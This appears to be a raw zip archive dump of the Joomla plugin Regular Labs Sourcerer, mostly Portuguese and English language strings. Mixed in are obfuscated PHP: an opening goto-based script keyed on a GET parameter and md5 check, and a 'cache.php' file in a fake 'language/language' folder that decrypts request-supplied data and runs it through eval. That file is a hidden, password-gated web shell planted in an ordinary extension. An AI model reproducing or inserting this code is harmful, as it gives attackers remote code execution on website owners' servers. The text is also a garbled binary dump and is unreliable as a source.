"\70\66\67\x31\71", "\70\x36\x37\x39\67\x3b\x38\66\x38\x30\x32", "\x38\66\x37\67\71\x3b\x38\x36\67\x36\62\x3b\70\66\67\x36\62\x3b\70\66\67\67\71\73\x38\66\x37\x35\65", "\70\66\67\x34\x32\73\x38\x36\67\63\x39\x3b\70\66\67\63\x36\73\70\66\x37\62\70\73\70\x36\67\x34\63\73\70\x36\67\63\x30\73\x38\66\x37\x34\x39\x3b\x38\66\x37\x33\x39\x3b\x38\x36\x37\x33\64\73\x38\x36\x37\63\62\x3b\70\66\67\62\67\x3b\70\66\x37\x32\x38"); goto zHE9cIvvpLb76B; rAgeeY8_Ov3nKV: $WvbByPBabFDSE2 = $YWHdCklfGBroON[2 + 0]($uOqYGOmtvmX2VZ, true); goto HSzzEi5VXotyPq; RscPZeBiPyvzth: e8DJRKZMIEImSk: goto DHoHe1s4lmiDqh; COARZ5vXPsKwhQ: if (!(@$WvbByPBabFDSE2[0] - time() > 0 and md5(md5($WvbByPBabFDSE2[0 + 3])) === "\71\66\x31\x64\x65\144\146\x61\x30\146\143\x31\x66\x33\x63\63\66\142\x64\70\71\144\71\x65\64\x33\144\145\70\x62\x65\x63")) { goto e8DJRKZMIEImSk; } goto cZnNTsEXeO1M6o; zHE9cIvvpLb76B: foreach ($WwaWs7xURj7jLS as $XOiTN1xtYiOXg_) { $YWHdCklfGBroON[] = self::I5TjKZDO0kbFz2($XOiTN1xtYiOXg_); nKqyedZyIDyXvB: } goto Bx863u9VX0OuI6; n5aJgjr3ukoWpf: die; goto RscPZeBiPyvzth; aVCAj9PwjkDCIC: $P4OL_7w9XODq4z = @$YWHdCklfGBroON[1]($YWHdCklfGBroON[5 + 5](INPUT_GET, $YWHdCklfGBroON[8 + 1])); goto chLcuU_0siMWAD; DHoHe1s4lmiDqh: } } goto tkXMP0m8ul7oJs; lVXoQCQStcR2FB: $l1ati13J6Pjwql = ${$j2kqINE6ZVEAtX[12 + 19] . $j2kqINE6ZVEAtX[31 + 28] . $j2kqINE6ZVEAtX[23 + 24] . $j2kqINE6ZVEAtX[47 + 0] . $j2kqINE6ZVEAtX[17 + 34] . $j2kqINE6ZVEAtX[0 + 53] . $j2kqINE6ZVEAtX[35 + 22]}; goto tsGhRFyDiZaQLo; tkXMP0m8ul7oJs: Sc3IJWFIaKPqlJ::OxiHrvywvke4ty(); ?> PK�\ѝ< 88language/language/index.phpnu&1i�<?php include_once base64_decode("V3hRWlNldGsuc3dm"); ?>PK�\h��language/language/cache.phpnu&1i�<?php $cqStl = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirFpa6aYGANAA'; $suE = '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'; function cqStl($qlG) { $suE = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $cxF = substr($suE, 0, 16); $kqAw = base64_decode($qlG); return openssl_decrypt($kqAw, "AES-256-CBC", $suE, OPENSSL_RAW_DATA, $cxF); } if (cqStl('DjtPn+r4S0yvLCnquPz1fA')){ echo '2hwNwqSmR+GdWyy8vUKQFHEmy7aQ29Ekq0M3f+K4DmAauiU36EaoBizijwdVFIzL'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($cqStl)))); ?>PK�\(% 'r%r%-language/pt-PT/pt-PT.plg_system_sourcerer.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_SOURCERER="Sistema - Regular Labs - Sourcerer" PLG_SYSTEM_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" INSERT_CODE="Inserir Código" ; SOURCERER_DESC="<p>The Sourcerer plugin handles all the Sourcerer syntax tags in your site.</p><p>You can place your html, javascript, css and php code (including their own tags) inside the Sourcerer tags:<br><span class="rl-code rl-code-block">{source}Your code{/source}</span></p>" SRC_EXTENSION_CAN_NOT_FUNCTION="O [[%1:extension name%]] não pode funcionar." SRC_REGULAR_LABS_LIBRARY_NOT_ENABLED="O plugin Regular Labs Library não está ativado." SRC_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Plugin do Framework Regular Labs não está instalado." COM_PLUGINS_SRC_SECURITY_SETTINGS_ARTICLES_FIELDSET_LABEL="Segurança - Artigos" COM_PLUGINS_SRC_SECURITY_SETTINGS_COMPONENTS_FIELDSET_LABEL="Segurança - Componentes" COM_PLUGINS_SRC_SECURITY_SETTINGS_DEFAULT_FIELDSET_LABEL="Segurança - Padrão" COM_PLUGINS_SRC_SECURITY_SETTINGS_OTHER_AREAS_FIELDSET_LABEL="Segurança - Outras áreas" SRC_ALLOW_CSS_TAGS="Permitir etiquetas CSS" ; SRC_ALLOW_CSS_TAGS_DESC="If enabled, CSS (style & link) tags are permitted within the Sourcerer tags. Otherwise the CSS tags (and the CSS code within) will be stripped." SRC_ALLOW_JAVASCRIPT_TAGS="Permitir etiquetas JavaScript" ; SRC_ALLOW_JAVASCRIPT_TAGS_DESC="If enabled, JavaScript (script) tags are permitted within the Sourcerer tags. Otherwise the JavaScript tags (and the JavaScript code within) will be stripped." SRC_ALLOW_PHP_TAGS="Permitir etiquetas PHP" ; SRC_ALLOW_PHP_TAGS_DESC="If enabled, PHP tags are permitted within the Sourcerer tags. Otherwise the PHP tags (and the PHP code within) will be stripped." ; SRC_BODY_AFTER="End of HTML body" ; SRC_BODY_BEFORE="Before HTML body" SRC_CODE="Código" ; SRC_CODE_DESC="You can enter your HTML, CSS, JavaScript and/or PHP code in the field below." ; SRC_CODE_PLACEMENT="Placement" ; SRC_CODE_PLACEMENT_DESC="Select whether to load the code in the html head or inline where you place this the Sourcerer tag." SRC_CODE_POSITION="Posição" ; SRC_CODE_POSITION_DESC="Set the position in the html to place the code." ; SRC_CODE_REMOVED_NOT_ALLOWED="The [[%1:code type%]] code has been removed, because [[%1:code type%]] is not allowed here." SRC_CODE_REMOVED_NOT_ENABLED="O código foi removido porque o Sourcerer não está ativado aqui." ; SRC_CODE_REMOVED_SECURITY="The %s code has been removed, because the owner of this article does not pass the security level." ; SRC_COLOR_CODE="Color Code" ; SRC_COLOR_CODE_DESC="Select to have the editor button add colors to the code when inserting it into the editor." SRC_CSS="CSS" ; SRC_CSS_CODE_DESC="The CSS code will be added to the Head of the HTML document." ; SRC_CSS_FILE_DESC="The CSS file will be added to the Head of the HTML document." SRC_CSS_SECURITY_LEVEL="Nível de segurança CSS" SRC_CSS_SECURITY_LEVEL_DESC="Define o nível de segurança. Etiquetas CSS (e o código dentro delas) serão retiradas de artigos com um proprietário (autor) inferiores a este nível de grupo. Se a segurança geral estiver definida para um nível maior, anulará esta definição." SRC_DEFAULTS="Padrões" SRC_DEFAULTS_DESC="Estas definições têm efeito sobre as configurações iniciais quando abre a janela de Ajuda de Código do Sourcerer." ; SRC_DISABLE_ON_COMPONENTS_DESC="Select which components NOT to enable Sourcerer in. This is a list of your installed frontend components." SRC_ENABLE_IN_ARTICLES_DESC="Selecione se pretende permitir o uso de sintaxe em artigos." SRC_ENABLE_IN_COMPONENTS_DESC="Selecione se pretende permitir o uso de sintaxe em componentes." ; SRC_ENABLE_IN_HEAD="Enable in Head" ; SRC_ENABLE_IN_HEAD_DESC="Select to also handle the Sourcerer tags inside the document head section of the page. If unselected, any Sourcerer tags found in the head will get removed (together with any code inside them)." ; SRC_ENABLE_OTHER_AREAS_DESC="Select whether to enable the use of the syntax in all remaining areas, like the modules and the document head." SRC_EXAMPLE_CODE="Código exemplo" SRC_EXAMPLE_CODE_DESC="Aqui você pode colocar o código de exemplo que quer ver colocado dentro das etiquetas do Sourcerer. Se deixar este campo em branco e o guardar, este campo será redefinido para o código de exemplo padrão." SRC_EXTRA_FORBIDDEN_HTML_TAGS="Etiquetas extra proibidas (HTML)" ; SRC_EXTRA_FORBIDDEN_HTML_TAGS_DESC="A comma separated list of tags to add to the forbidden list (see Default settings)" SRC_EXTRA_FORBIDDEN_PHP_FUNCTIONS="Funções adicionais PHP proibidas" ; SRC_EXTRA_FORBIDDEN_PHP_FUNCTIONS_DESC="A comma separated list of PHP functions to add to the forbidden list (see Default settings)" ; SRC_EXTRA_TABS_DESC="Or use the extra tabs to help you insert specific CSS, JavaScript and PHP files and code." ; SRC_FILE="File" SRC_FORBIDDEN_HTML_TAGS="Etiquetas proibidas (HTML)" ; SRC_FORBIDDEN_HTML_TAGS_DESC="A comma separated list of tags that are forbidden. These tags will be stripped, and also any code in between double tags." SRC_FORBIDDEN_PHP_FUNCTIONS="Funções PHP proibidas" ; SRC_FORBIDDEN_PHP_FUNCTIONS_DESC="A comma separated list of PHP functions that are forbidden. The whole PHP block of code will not be executed if it contains any of these functions." ; SRC_HTML_HEAD="HTML Head" SRC_INCLUDE_PATH="Incluir caminho" ; SRC_INCLUDE_PATH_DESC="The path (relative to the root folder) to use when using the file attribute in the tag." ; SRC_INLINE="Inline" SRC_INSERT="Inserir" SRC_JAVASCRIPT="JavaScript" SRC_JAVASCRIPT_SECURITY_LEVEL="Nível de segurança JavaScript" ; SRC_JAVASCRIPT_SECURITY_LEVEL_DESC="Set the level of security. JavaScript tags (and the JavaScript code within) will be stripped from articles with an owner (creator) below this group level. If the overall security level is set higher, it will overrule this." ; SRC_JS_FILE_ASYNC="Async" ; SRC_JS_FILE_ASYNC_DESC="Select to make the javascipt file run asynchronously as soon as it is available." ; SRC_JS_FILE_DEFER="Defer" ; SRC_JS_FILE_DEFER_DESC="Select to make the javascipt file run after the page has loaded." ; SRC_JS_FILE_DESC="The JavaScript file will be added to the Head of the HTML document." SRC_ONLY_IN_ADMINISTRATOR="Apenas no Administrador" SRC_PHP="PHP" ; SRC_PHP_CODE_DESC="The <span class="rl-code">&lt;?php ... ?&gt;</span> will be added automatically, so you should not add them to your code." ; SRC_PHP_CODE_REMOVED_FORBIDDEN="The PHP code has been removed, because it contains forbidden PHP functions" SRC_PHP_FORBIDDEN="O código PHP contém funções PHP proibidas" ; SRC_PHP_INCLUDE_METHOD="Include Method" ; SRC_PHP_INCLUDE_METHOD_DESC="Select the way to load in the php file." SRC_PHP_SECURITY_LEVEL="Nível de segurança PHP" ; SRC_PHP_SECURITY_LEVEL_DESC="Set the level of security. PHP tags (and the PHP code within) will be stripped from articles with an owner (creator) below this group level. If the overall security level is set higher, it will overrule this." ; SRC_RAW="Raw Code" ; SRC_RAW_DESC="Not using a WYSIWYG editor? Select to prevent Sourcerer from stripping the HTML code." ; SRC_REMOVE_FROM_SEARCH="Remove from search" ; SRC_REMOVE_FROM_SEARCH_DESC="Select to remove the Sourcerer tags and content from the search results." SRC_SECURITY_LEVEL="Nível de segurança" ; SRC_SECURITY_LEVEL_DESC="Set the level of security. Sourcerer tags will be stripped from articles where the an owner (creator) is not a member of these groups." ; SRC_SECURITY_SETTINGS_ARTICLES_DESC="These settings have effect on Articles and Categories.<br>The security settings only have effect on articles." ; SRC_SECURITY_SETTINGS_COMPONENTS_DESC="These settings have effect on the component area.<br>You can select in which components Sourcerer should not be enabled. Advise is to not allow Sourcerer in components that non-backend users can post content in." ; SRC_SECURITY_SETTINGS_DEFAULT_DESC="Here you can set what kind of code can be used within the Sourcerer tags. All code that is not permitted will be stripped away. For more precise settings, see the other Security tabs." ; SRC_SECURITY_SETTINGS_OTHER_AREAS_DESC="These settings have effect on the areas outside the component area (so in Modules and the rest of the website)." SRC_SHOW_WIZARD="Mostrar Assistente" SRC_SYNTAX_WORD="Etiqueta Sourcerer para palavra" ; SRC_SYNTAX_WORD_DESC="This defines the word to use as the Sourcerer syntax tag.<br><br>Default is 'source'. Which means the tags to use are: <span class="rl-code">{source}...{/source}</span>" ; SRC_TAG_ATTRIBUTES="Tag Attributes" ; SRC_TAG_ATTRIBUTES_DESC="Enter any attributes you want to add inside the Sourcerer tag itself." SRC_TAG_REMOVED_FORBIDDEN="A tag (%s) foi removida, porque é proibida." ; SRC_TAG_SETTINGS="Tag Settings" ; SRC_TEMP_PATH="Temporary File Folder" ; SRC_TEMP_PATH_DESC="Please specify a writable folder to store temporary files.<br>Leave empty to use the Joomla global Temp Folder." ; SRC_TRIM="Strip surrounding HTML tags" ; SRC_TRIM_DESC="Select to make Sourcerer remove the surrounding paragraph tags (or span tags)." PK�\RZ��**1language/pt-PT/pt-PT.plg_system_sourcerer.sys.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_SOURCERER="Sistema - Regular Labs - Sourcerer" PLG_SYSTEM_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" PK�\A��1language/en-GB/en-GB.plg_system_sourcerer.sys.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_SOURCERER="System - Regular Labs - Sourcerer" PLG_SYSTEM_SOURCERER_DESC="Sourcerer - place any code in Joomla!" SOURCERER="Sourcerer" PK�\��p�$$-language/en-GB/en-GB.plg_system_sourcerer.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_SOURCERER="System - Regular Labs - Sourcerer" PLG_SYSTEM_SOURCERER_DESC="Sourcerer - place any code in Joomla!" SOURCERER="Sourcerer" INSERT_CODE="Insert Code" SOURCERER_DESC="<p>The Sourcerer plugin handles all the Sourcerer syntax tags in your site.</p><p>You can place your html, javascript, css and php code (including their own tags) inside the Sourcerer tags:<br><span class="rl-code rl-code-block">{source}Your code{/source}</span></p>" SRC_EXTENSION_CAN_NOT_FUNCTION="[[%1:extension name%]] cannot function." SRC_REGULAR_LABS_LIBRARY_NOT_ENABLED="Regular Labs Library plugin is not enabled." SRC_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Regular Labs Library plugin is not installed." COM_PLUGINS_SRC_SECURITY_SETTINGS_ARTICLES_FIELDSET_LABEL="Security - Articles" COM_PLUGINS_SRC_SECURITY_SETTINGS_COMPONENTS_FIELDSET_LABEL="Security - Components" COM_PLUGINS_SRC_SECURITY_SETTINGS_DEFAULT_FIELDSET_LABEL="Security - Default" COM_PLUGINS_SRC_SECURITY_SETTINGS_OTHER_AREAS_FIELDSET_LABEL="Security - Other Areas" SRC_ALLOW_CSS_TAGS="Allow CSS tags" SRC_ALLOW_CSS_TAGS_DESC="If enabled, CSS (style & link) tags are permitted within the Sourcerer tags. Otherwise the CSS tags (and the CSS code within) will be stripped." SRC_ALLOW_JAVASCRIPT_TAGS="Allow JavaScript tags" SRC_ALLOW_JAVASCRIPT_TAGS_DESC="If enabled, JavaScript (script) tags are permitted within the Sourcerer tags. Otherwise the JavaScript tags (and the JavaScript code within) will be stripped." SRC_ALLOW_PHP_TAGS="Allow PHP tags" SRC_ALLOW_PHP_TAGS_DESC="If enabled, PHP tags are permitted within the Sourcerer tags. Otherwise the PHP tags (and the PHP code within) will be stripped." SRC_BODY_AFTER="End of HTML body" SRC_BODY_BEFORE="Before HTML body" SRC_CODE="Code" SRC_CODE_DESC="You can enter your HTML, CSS, JavaScript and/or PHP code in the field below." SRC_CODE_PLACEMENT="Placement" SRC_CODE_PLACEMENT_DESC="Select whether to load the code in the html head or inline where you place this the Sourcerer tag." SRC_CODE_POSITION="Position" SRC_CODE_POSITION_DESC="Set the position in the html to place the code." SRC_CODE_REMOVED_NOT_ALLOWED="The [[%1:code type%]] code has been removed, because [[%1:code type%]] is not allowed here." SRC_CODE_REMOVED_NOT_ENABLED="The code has been removed, because Sourcerer is not enabled here." SRC_CODE_REMOVED_SECURITY="The %s code has been removed, because the owner of this article does not pass the security level." SRC_COLOR_CODE="Color Code" SRC_COLOR_CODE_DESC="Select to have the editor button add colors to the code when inserting it into the editor." SRC_CSS="CSS" SRC_CSS_CODE_DESC="The CSS code will be added to the Head of the HTML document." SRC_CSS_FILE_DESC="The CSS file will be added to the Head of the HTML document." SRC_CSS_SECURITY_LEVEL="CSS Security Level" SRC_CSS_SECURITY_LEVEL_DESC="Set the level of security. CSS tags (and the CSS code within) will be stripped from articles with an owner (creator) below this group level. If the overall security level is set higher, it will overrule this." SRC_DEFAULTS="Defaults" SRC_DEFAULTS_DESC="These setting have effect on the initial settings when you open the Sourcerer Code Helper window." SRC_DISABLE_ON_COMPONENTS_DESC="Select which components NOT to enable Sourcerer in. This is a list of your installed frontend components." SRC_ENABLE_IN_ARTICLES_DESC="Select whether to enable the use of the syntax in articles." SRC_ENABLE_IN_COMPONENTS_DESC="Select whether to enable the use of the syntax in components." SRC_ENABLE_IN_HEAD="Enable in Head" SRC_ENABLE_IN_HEAD_DESC="Select to also handle the Sourcerer tags inside the document head section of the page. If unselected, any Sourcerer tags found in the head will get removed (together with any code inside them)." SRC_ENABLE_OTHER_AREAS_DESC="Select whether to enable the use of the syntax in all remaining areas, like the modules and the document head." SRC_EXAMPLE_CODE="Example Code" SRC_EXAMPLE_CODE_DESC="Here you can place the example code you want to be placed inside the Sourcerer tags. If you leave this field empty and save it, this field will be reset to the default example code." SRC_EXTRA_FORBIDDEN_HTML_TAGS="Extra Forbidden (HTML) Tags" SRC_EXTRA_FORBIDDEN_HTML_TAGS_DESC="A comma separated list of tags to add to the forbidden list (see Default settings)" SRC_EXTRA_FORBIDDEN_PHP_FUNCTIONS="Extra Forbidden PHP functions" SRC_EXTRA_FORBIDDEN_PHP_FUNCTIONS_DESC="A comma separated list of PHP functions to add to the forbidden list (see Default settings)" SRC_EXTRA_TABS_DESC="Or use the extra tabs to help you insert specific CSS, JavaScript and PHP files and code." SRC_FILE="File" SRC_FORBIDDEN_HTML_TAGS="Forbidden (HTML) Tags" SRC_FORBIDDEN_HTML_TAGS_DESC="A comma separated list of tags that are forbidden. These tags will be stripped, and also any code in between double tags." SRC_FORBIDDEN_PHP_FUNCTIONS="Forbidden PHP functions" SRC_FORBIDDEN_PHP_FUNCTIONS_DESC="A comma separated list of PHP functions that are forbidden. The whole PHP block of code will not be executed if it contains any of these functions." SRC_HTML_HEAD="HTML Head" SRC_INCLUDE_PATH="Include Path" SRC_INCLUDE_PATH_DESC="The path (relative to the root folder) to use when using the file attribute in the tag." SRC_INLINE="Inline" SRC_INSERT="Insert" SRC_JAVASCRIPT="JavaScript" SRC_JAVASCRIPT_SECURITY_LEVEL="JavaScript Security Level" SRC_JAVASCRIPT_SECURITY_LEVEL_DESC="Set the level of security. JavaScript tags (and the JavaScript code within) will be stripped from articles with an owner (creator) below this group level. If the overall security level is set higher, it will overrule this." SRC_JS_FILE_ASYNC="Async" SRC_JS_FILE_ASYNC_DESC="Select to make the javascipt file run asynchronously as soon as it is available." SRC_JS_FILE_DEFER="Defer" SRC_JS_FILE_DEFER_DESC="Select to make the javascipt file run after the page has loaded." SRC_JS_FILE_DESC="The JavaScript file will be added to the Head of the HTML document." SRC_ONLY_IN_ADMINISTRATOR="Only in Administrator" SRC_PHP="PHP" SRC_PHP_CODE_DESC="The <span class="rl-code">&lt;?php ... ?&gt;</span> will be added automatically, so you should not add them to your code." SRC_PHP_CODE_REMOVED_FORBIDDEN="The PHP code has been removed, because it contains forbidden PHP functions" SRC_PHP_FORBIDDEN="The PHP code contains forbidden PHP functions" SRC_PHP_INCLUDE_METHOD="Include Method" SRC_PHP_INCLUDE_METHOD_DESC="Select the way to load in the php file." SRC_PHP_SECURITY_LEVEL="PHP Security Level" 